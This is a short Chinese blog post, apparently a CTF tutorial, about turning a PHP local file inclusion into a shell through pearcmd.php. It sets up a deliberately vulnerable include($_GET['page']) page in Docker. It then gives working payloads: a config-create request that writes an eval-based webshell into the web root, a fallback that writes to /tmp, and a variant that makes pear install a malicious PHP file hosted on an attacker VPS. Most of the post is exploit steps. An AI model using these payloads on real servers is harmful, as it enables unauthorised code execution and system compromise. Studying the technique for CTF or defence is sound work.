Loading

pearcmd 利用

描述

Pear(PHP Extension and Application Repository)是一个php开发常用工具的库, 在php7.3之前默认安装,之后需要带参数 --with-pear 才行, Docker 中默认安装.

pearcmd.php 默认安装目录为/usr/local/lib/php/pearcmd.php, 命令行状态可通过 pear 或 /usr/local/lib/php/pearcmd.php 执行.

复现

利用条件

  • 安装pecl/pear
  • php.ini 中register_argc_argv=On开启(Docker 环境下默认开启)
  • 存在文件包含漏洞

而同时由于CTF题目通常基于Docker环境,先天满足了前两个条件,所以只要出现文件包含,就能直接利用该漏洞getshell.

环境搭建

本地写index.php:

<?php

error_reporting(0);

echo "index";

include($_GET['page']);
docker pull php:7.0-apache

docker run -itd -v ./temp:/var/www/html -p 80:80 php:7.0-apache

访问127.0.0.1/index.php

此时文件包含pearcmd.php, 利用其中的 config-create 命令写入木马.

?page=/usr/local/lib/php/pearcmd.php&+config-create+/<?@eval($_POST['shell']);?>+/var/www/html/shell.php

image.png

连接成功:
image.png

低权限写入

如果web目录没有写入权限,可以尝试写入低权限的/tmp目录下.再配合文件包含,连接shell.

远程安装

vps 挂在一个可下载的恶意php.

pear install VPS/phpinfo.php
?page=/usr/local/lib/php/pearcmd.php&+install+http://vps/phpinfo.php

默认安装路径在/tmp/pear/download/.

还可以使用down命令,操作同上.

参考:

利用 pearcmd 从 LFI 到 getshell

posted @ 2026-03-17 21:38  幽暗天琴沙雕  阅读(24)  评论(0)    收藏  举报